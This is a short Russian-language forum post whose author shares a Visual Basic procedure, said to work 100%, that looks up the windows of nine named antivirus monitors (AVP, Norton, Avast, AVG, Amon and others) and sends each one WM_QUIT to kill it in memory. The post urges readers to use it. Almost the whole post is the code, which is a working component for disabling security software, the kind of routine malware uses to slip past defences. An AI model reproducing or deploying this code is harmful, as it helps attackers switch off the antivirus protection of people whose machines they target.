![]() |
![]() |
![]() |
Решил написать я маленькую процедуру на vb, которая бы убивала av мониторы в памяти. Все получилось и она работает 100%. Я написал 2 версий этой процедуры одна убивала av через SendMessageA, а другая через PostMessageA. Но решил все таки опубликовать метод через PostMessageA он меньше. Юзайте...... ' win32 api которые нужны будкт в этой процедуре. Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _ (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" _ (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" _ (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long ' константа выхода Const WM_QUIT = &H10 ' процедура уничтожения av мониторов и сканеров в памяти. Sub az() ' список из 9 мониторов которые мы хотим удалить из памяти. For c = 1 To 9 If c = 1 Then av$ = "AVP Monitor" If c = 2 Then av$ = "Amon Antivirus Monitor" If c = 3 Then av$ = "Norton AntiVirus" If c = 4 Then av$ = "AVP Монитор" If c = 5 Then av$ = "Antivэrusov¤ monitor Amon" If c = 6 Then av$ = "Amon Antivirus Monitor" If c = 7 Then av$ = "Avast32 -- Rezidentnэ podpora" If c = 8 Then av$ = "AVG Control Center" If c = 9 Then av$ = "AVP Office Guard" ' поиск окна с выше перечисленным именем hW = FindWindow(vbNullString, av$ & Chr(0)) ' киляем монитор z = PostMessage(hW, WM_QUIT, 0, 0) ' продолжим цикл Next c ' конец End Sub Вот и все... |
||
![]() |
![]() |
![]() |